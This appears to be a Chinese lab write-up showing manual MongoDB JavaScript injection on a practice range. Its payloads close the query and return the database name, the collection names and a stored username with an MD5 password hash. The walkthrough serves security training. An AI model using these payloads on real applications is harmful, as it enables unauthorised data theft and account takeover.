一、SQL手工注入漏洞測試(MongoDB數據庫)
本文以墨者學院靶場為例,演示MongoDB數據庫的手工SQL注入全過程。靶場以自己的地址為準:http://124.70.71.251:42286/new_list.php?id=1
二、注入原理說明
MongoDB作為NoSQL數據庫,其注入方式與傳統SQL注入不同。攻擊主要利用:
- JSON/BSON語法閉合
- JavaScript代碼執行
- 查詢結果強制返回
三、注入步驟詳解(如下指令去掉了id之前的內容)
1. 查詢回顯位置
id=1'});return ({'title':'1','content':'2
- 攻擊手法:
'}
閉合原始查詢的JSON結構);
終止當前語句return
構造新文檔強制返回
- 作用:確認頁面顯示
title
和content
字段的位置
2. 查詢數據庫名稱
id=1'});return ({'title':tojson(db),'content':'2
- 關鍵函數:
db
:當前數據庫對象tojson()
:將MongoDB對象轉為JSON字符串
- 輸出示例:
mozhe_cms_Authority
3. 查詢表名稱(集合列表)
id=1'});return ({'title':tojson(db.getCollectionNames()),'content':'2
- 核心方法:
getCollectionNames()
:返回所有集合名稱數組
- 典型結果:
[ "Authority_confidential", "notice", "system.indexes" ]
4. 查詢字段結構
id=1'});return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2
修改find()[1]值查詢其他賬號:
id=1'});return ({'title':tojson(db.Authority_confidential.find()[1]),'content':'2
- 技術要點:
Authority_confidential
:目標集合名find()[0]
:獲取集合第一條記錄find()[1]
:獲取集合第二條記錄
- 泄露內容:
{"_id": ObjectId("6885d4f44abcd62e71223bc5"),"name": "mozhe","password": "a83cd5ad5ed3e1c5597441aaab289f5c","status": "0" }
5. MD5解密后,手動登錄,獲取Key
MD5工具地址:https://www.cmd5.com/
四、關鍵指令速查表
指令/函數 | 作用 | 示例輸出 |
---|---|---|
'}) | 閉合原始查詢 | 終止當前JSON結構 |
return | 控制返回數據 | 構造惡意輸出 |
tojson() | 對象序列化 | 轉為可讀JSON |
db | 當前數據庫對象 | 包含連接信息 |
getCollectionNames() | 獲取所有集合 | [“coll1”,“coll2”] |
find()[0] | 獲取首條記錄 | 完整文檔結構 |